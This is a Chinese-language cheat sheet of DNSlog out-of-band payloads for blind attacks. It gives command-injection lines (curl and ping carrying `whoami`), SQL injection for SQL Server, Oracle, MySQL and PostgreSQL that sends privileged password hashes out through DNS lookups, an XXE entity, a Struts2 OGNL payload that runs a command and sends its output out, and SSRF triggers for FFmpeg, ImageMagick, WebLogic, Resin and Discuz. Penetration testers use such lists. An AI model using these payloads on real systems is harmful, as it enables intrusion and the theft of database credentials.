Dnslog回显使用指南

一、命令执行场景
Liunx/Unix/Mac OS系统:

curl http://ip.port.xxx.dnslog.org/`whoami`
ping `whoami`.ip.port.xxx.dnslog.org

Windows系统:

ping %USERNAME%.xxx.dnslog.org

二、SQL注入场景
SQL Server数据库:

DECLARE @host varchar(1024);
SELECT @host=(SELECT TOP 1
master.dbo.fn_varbintohexstr(password_hash)
FROM sys.sql_logins WHERE name='sa')
+'.ip.port.xxx.dnslog.org';
EXEC('master..xp_dirtree
"\\'+@host+'\foobar$"');

Oracle数据库:

SELECT UTL_INADDR.GET_HOST_ADDRESS('ip.port.xxx.dnslog.org');
SELECT UTL_HTTP.REQUEST('http://ip.port.xxx.dnslog.org/oracle') FROM DUAL;
SELECT HTTPURITYPE('http://ip.port.xxx.dnslog.org/oracle').GETCLOB() FROM DUAL;
SELECT DBMS_LDAP.INIT(('oracle.ip.port.xxx.dnslog.org',80) FROM DUAL;
SELECT DBMS_LDAP.INIT((SELECT password FROM SYS.USER$ WHERE name='SYS')||'.ip.port.xxx.dnslog.org',80) FROM DUAL;

MySQL数据库:

SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.mysql.ip.port.xxx.dnslog.org\\abc'));

PostgreSQL数据库:

DROP TABLE IF EXISTS table_output;
CREATE TABLE table_output(content text);
CREATE OR REPLACE FUNCTION temp_function()
RETURNS VOID AS $
DECLARE exec_cmd TEXT;
DECLARE query_result TEXT;
BEGIN
SELECT INTO query_result (SELECT passwd
FROM pg_shadow WHERE usename='postgres');
exec_cmd := E'COPY table_output(content)
FROM E\'\\\\\\\\'||query_result||E'.psql.ip.port.xxx.dnslog.org\\\\foobar.txt\'';
EXECUTE exec_cmd;
END;
$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT temp_function();

三、XXE场景
XML实体:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://ip.port.xxx.dnslog.org/xxe_test">
%remote;]>
<root/>

四、其他场景
Struts2中间件:

xx.action?redirect:http://ip.port.xxx.dnslog.org/%25{3*4}
xx.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'whoami'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://ip.port.xxx.dnslog.org/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}

FFMpeg插件:

#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://ip.port.xxx.dnslog.org
#EXT-X-ENDLIST

Weblogic中间件:

example.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http://ip.port.xxx.dnslog.org/test&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Businesslocation&btnSubmit=Search

ImageMagick插件:

push graphic-context
viewbox 0 0 640 480
fill 'url(http://ip.port.xxx.dnslog.org)'
pop graphic-context

Resin中间件:

example.com/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=http://ip.port.xxx.dnslog.org/ssrf

Discuz社群:

example.com/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://ip.port.xxx.dnslog.org/x.jpg[/img]&formhash=x